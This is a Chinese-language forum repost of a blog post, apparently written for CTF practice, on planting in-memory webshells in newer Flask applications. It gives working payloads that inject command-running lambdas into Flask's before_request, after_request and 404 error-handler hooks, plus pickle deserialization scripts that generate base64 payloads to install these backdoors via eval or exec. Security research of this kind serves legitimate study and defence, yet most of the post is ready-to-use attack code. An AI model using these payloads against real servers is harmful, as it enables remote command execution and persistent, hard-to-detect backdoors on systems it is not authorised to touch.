躺在云上飘 發表於 2024-5-12 20:51:00

新版FLASK下python内存马的研究

<h1 id="新版flask下python内存马的研究">新版FLASK下python内存马的研究</h1>
<h2 id="风起">风起</h2>
<p>2月中旬的某一天,跟@Ic4_F1ame无聊时聊起了出题的事。当时是打算出道python题目(菜🐕的我之前只会出php的)。两个卑微web🐕一起讨论出题,于是就有了下面的聊天,也是罪恶的开始(bushi):</p>
<p><img src="https://img2024.cnblogs.com/blog/3181170/202405/3181170-20240509130716405-1297180232.png" alt="" loading="lazy"></p>
<h2 id="内存马初体验">内存马初体验</h2>
<p>当时正好看到一篇关于flask如何打内存马的文章,对这种新奇的东西颇感兴趣,感慨自己之弱小,web之奇妙。</p>
<p>https://longlone.top/安全/安全研究/flask不出网回显方式/</p>
<p>于是两只web🐕就研究了起来,文章主要介绍了两种情况下对flask不出网无回显的处理方式:</p>
<h3 id="debug模式下利用报错这个就不介绍了文章中有详细介绍至今不过时">debug模式下利用报错(这个就不介绍了,文章中有详细介绍,至今不过时)</h3>
<h3 id="非debug模式下利用内存马重点看这个">非debug模式下利用内存马(重点看这个)</h3>
<h3 id="add_url_rule">add_url_rule</h3>
<p>文章中使用<code>add_url_rule</code>方法来添加路由,也是网上看到了最早有的方式了,竟然可以添加一个自定义路由,并且可以自定义匿名函数,访问这个路由就可以调用这个匿名函数。</p>
<p>直接给出payload:</p>
<pre><code class="language-python">sys.modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :__import__('os').popen('dir').read())
</code></pre>
<p>看到这里身为web🐕的我已经惊讶不已了,迫不及待的尝试起来</p>
<h2 id="陷入窘境">陷入窘境</h2>
<p>在我幸幸苦苦搭建好本地环境,然后测试的时候,惊奇的发现竟然失败了,请看vcr:</p>
<p><img src="https://img2024.cnblogs.com/blog/3181170/202405/3181170-20240509130730077-1891610854.png" alt="" loading="lazy"></p>
<p>什么情况啊,竟然失败了,出现报错!当然这并不奇怪,因为那篇文章中也出现了类似的报错,but,文章中说那是开启了debug模式才导致的,我明明把debug模式关了啊,给我直接干异或了?</p>
<p>于是我想起了一句真理 &lt;&lt;遇事不决,可以调试&gt;&gt;,于是我迫不及待化身断点小能手,开启调试之旅。</p>
<p>可以看到,问题出在这里,我们的函数被check啦,不能重复调用add_url_rule,这就奇了怪了,明明要开启debug模式才会调用到这个check函数,怎么现在到处都是呢?</p>
<p><img src="https://img2024.cnblogs.com/blog/3181170/202405/3181170-20240509130741739-785215547.png" alt="" loading="lazy"></p>
<p>于是我开始不断的看那篇文章,妄想从中来窥破这其中的隐秘。不经意的看一眼文章发布的时间,终于让我得以窥见一二。</p>
<p><img src="https://img2024.cnblogs.com/blog/3181170/202405/3181170-20240509130753830-204892672.png" alt="" loading="lazy"></p>
<p>这是文章中的一张图,看时间,2021年!?,今夕是何年?现在都2024了</p>
<p>那么现在失败的原因也显而易见了,flask版本的问题</p>
<p>我成了🤡,我的flask是新版的,这b新版的flask竟然把check函数给弄的到处都是,直接干碎了我的ctf梦。</p>
<p>于是我道心破损,加上当时对flask的研究不是特别深,对这些装饰器啥的更是一知半解,了解的知识大部分是从ctf的题目中所得,果不其然,虽然想寻找有没有别的方法,但心有余而力不足,对内存马的研究只能先暂时咕咕咕🕊。</p>
<h2 id="转折">转折</h2>
<p>过了大概两个月吧,我是没想到,事情竟然还能迎来转机!!!</p>
<p>某天无聊,于是惯常的浏览p牛的知识星球来学习学习,就有了下面这一幕:</p>
<p><img src="https://img2024.cnblogs.com/blog/3181170/202405/3181170-20240509130811300-945956340.png" alt="" loading="lazy"></p>
<p>???看到竟然也有师傅也在研究flask内存马,也碰到了相同的问题,并且还解决了,让我大受震撼。</p>
<p>于是我早已沉寂的心,被这最后一段话给重新唤醒,web🐕开始重出江湖了。</p>
<h2 id="再战内存马">再战内存马</h2>
<p><img src="https://img2024.cnblogs.com/blog/3181170/202405/3181170-20240509130823305-1550505737.png" alt="" loading="lazy"></p>
<p>根据这位师傅提供的解决办法,我开始了找寻之旅</p>
<p>首先得了解一下这两个@app.before_request @app.after_request是个什么玩意</p>
<p>Flask 使用 after_request 和 before_request 处理特定请求的方法|极客教程 (geek-docs.com)</p>
<p>发现这两个玩意就是个<strong>特殊的装饰器</strong>,可以处理特定的请求方法</p>
<h3 id="before_request">before_request</h3>
<p><img src="https://img2024.cnblogs.com/blog/3181170/202405/3181170-20240509130843333-1796050029.png" alt="" loading="lazy"></p>
<p>简而言之就是我们每次发起请求之前,就会调用这个方法,触发里面定义的函数</p>
<p>我们跟进这个装饰器内部看他调用了哪些函数:</p>
<p><img src="https://img2024.cnblogs.com/blog/3181170/202405/3181170-20240509130854801-296609756.png" alt="" loading="lazy"></p>
<p>可以看到是调用了一个</p>
<pre><code>before_request_funcs.setdefault(None, []).append(f)
</code></pre>
<p>然后f就是访问值,也是我们可以自定义的,那么这里只要我们设置f为一个匿名函数,类似之前的</p>
<pre><code>lambda :__import__('os').popen('whoami').read()
</code></pre>
<p>这样每次发起请求前,都会触发一个这个匿名函数了,神奇!!!</p>
<p>web🐕的灵敏嗅觉直接促使着是开启探索之旅,于是直接构造个payload:</p>
<pre><code>eval("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('dir').read())")
</code></pre>
<p><img src="https://img2024.cnblogs.com/blog/3181170/202405/3181170-20240509130909375-1969138431.png" alt="" loading="lazy"></p>
<p>舒服了孩子,终于成功了,妈妈再也不用担心我的内存🐎了(</p>
<h3 id="after_request">after_request</h3>
<p><img src="https://img2024.cnblogs.com/blog/3181170/202405/3181170-20240509130919772-1306608820.png" alt="" loading="lazy"></p>
<p>这个就不多解释了,在请求完成后调用,跟上面那个一样,唯一需要注意的是这个是需要定义一个返回值的,不然就报错。</p>
<p>这里一开始还卡了一会,因为老是构造错,最后看到了先知上的最新的分析文章,应该是那个师傅写的吧</p>
<p>https://xz.aliyun.com/t/14421</p>
<p>参考这里面他的构造:</p>
<pre><code>eval("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)")
</code></pre>
<p><img src="https://img2024.cnblogs.com/blog/3181170/202405/3181170-20240509130932767-1466858051.png" alt="" loading="lazy"></p>
<h2 id="思考新的顿悟">思考🤔新的顿悟!</h2>
<p>成功的打通两个内存马后,让我悬着的心终于下来了,如gc一般的快感瞬间席卷全身,让我欲罢不能,身为求知欲很强的web🐕,我不满足只有这两种方法,我迫切想找到还有没有其他的办法,欲求不满了属于是</p>
<p>于是我搜索flask中的钩子函数,还真让我找到其他的函数</p>
<p><img src="https://img2024.cnblogs.com/blog/3181170/202405/3181170-20240509130942991-1709772057.png" alt="" loading="lazy"></p>
<p>前三种就是之前的那些,重点关注后面的两个,看起来似乎有点搞头!!!</p>
<h3 id="teardown_request">teardown_request</h3>
<p>这玩意的分析跟前面<strong>after_request</strong>的类似,他们的payload也通用,改个调用的底层函数名就行。不过这玩意很鸡肋,因为他虽然能调用命令,但是一样无回显,额,那这样我还要他干嘛,当然在某些对关键字bypass的情况下也可以利用达到绕过的效果,师傅们感兴趣的可以自己去探究。</p>
<h3 id="errorhandler">errorhandler</h3>
<p>这个是我新找到的一种方式,过程有点曲折,请君听我慢慢道来:</p>
<p>故事开始于关于这个函数的介绍:</p>
<p><img src="https://img2024.cnblogs.com/blog/3181170/202405/3181170-20240509130954285-1658510753.png" alt="" loading="lazy"></p>
<p>这个函数可以用于自定义404页面的回显,那敢情好啊,我们平常随便访问一个不存在的路由都是返回404页面,要是我能操控404页面返回的东西,这不到处都是内存🐎。</p>
<p>于是我开始跟进这个的底层函数调用逻辑,跟前面的分析一下,轻车熟路的找到<strong>register_error_handler</strong>:</p>
<p><img src="https://img2024.cnblogs.com/blog/3181170/202405/3181170-20240509131008519-1321220840.png" alt="" loading="lazy"></p>
<p>等等,在这里我嗅到了一丝不对劲的味道,这里的画面似乎似曾相识啊,请看vcr:</p>
<p><img src="https://img2024.cnblogs.com/blog/3181170/202405/3181170-20240509131019435-622651783.png" alt="" loading="lazy"></p>
<p>这里的写法不是跟我梦开始的地方不能说毫不相干吧,只能说一模一样,难道我又要成为🤡了吗!</p>
<p>我抱着不信的想法,试了一下</p>
<p><img src="https://img2024.cnblogs.com/blog/3181170/202405/3181170-20240509131031050-34083830.png" alt="" loading="lazy"></p>
<p>焯,难道我又要再一次成为🤡了嘛,回到家乡哥谭?不,我之所以这么想变强,就是不想再一次成为🤡啊,混蛋!!!</p>
<h2 id="只要我想走路就在脚下">只要我想走,路就在脚下</h2>
<p>坚持蛊,给我力量吧!!!(突然犯病</p>
<p>天无绝人之路,只要我想走,路就在脚下</p>
<p>跟进register_error_handler函数,看到他底层还调用了别的函数:</p>
<p><img src="https://img2024.cnblogs.com/blog/3181170/202405/3181170-20240509131042789-1975295183.png" alt="" loading="lazy"></p>
<p>这里终于不再是熟悉的🤡了,可以看到这里并没有对这个函数做check,而code_or_exception和f不就是之前的那两个参数吗,如果我们绕过上面的register_error_handler函数,对这里的函数进行控制,一样可以达到我们的目的。</p>
<p>可以看到<strong>exc_class</strong>, <strong>code</strong>这两个变量,用屁股想都知道,<strong>code</strong>就是404,<strong>exc_class</strong>是一个对象,f就是我们404界面的返回值</p>
<p>而<strong>code</strong>和<strong>f</strong>是我们比较方便可以手动构造的,但是<strong>exc_class</strong>不太好我们自己构造,我们看到这两个变量是通过_get_exc_class_and_code函数获取的,这个函数的参数<strong>code_or_exception</strong>就是我们之前传的404,那我们就依靠这个来获取变量值,然后覆写图中这两个函数即可</p>
<pre><code>exec("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec = lambda a:__import__('os').popen(request.args.get('gxngxngxn')).read()")
</code></pre>
<p>随便访问一个不存在的路由触发404错误即可</p>
<p><img src="https://img2024.cnblogs.com/blog/3181170/202405/3181170-20240509131057110-1998674374.png" alt="" loading="lazy"></p>
<h2 id="守得云开见月明">守得云开见月明</h2>
<p>下面给出<strong>pickle</strong>利用下的payload:</p>
<h3 id="before_request-1">before_request</h3>
<pre><code class="language-python">import os
import pickle
import base64
class A():
    def __reduce__(self):
      return (eval,("__import__(\"sys\").modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('gxngxngxn')).read())",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))
</code></pre>
<h3 id="after_request-1">after_request</h3>
<pre><code class="language-python">import os
import pickle
import base64
class A():
    def __reduce__(self):
      return (eval,("__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('gxngxngxn') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'gxngxngxn\')).read())\")==None else resp)",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))
</code></pre>
<h3 id="errorhandler-1">errorhandler</h3>
<pre><code class="language-python">import os
import pickle
import base64
class A():
    def __reduce__(self):
      return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec = lambda a:__import__('os').popen(request.args.get('gxngxngxn')).read()",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))
</code></pre>
<p>此外还有在ssti中使用的payload,留待师傅们自行探索。</p><br><br>
来源:https://www.cnblogs.com/gxngxngxn/p/18181936
頁: [1]
查看完整版本: 新版FLASK下python内存马的研究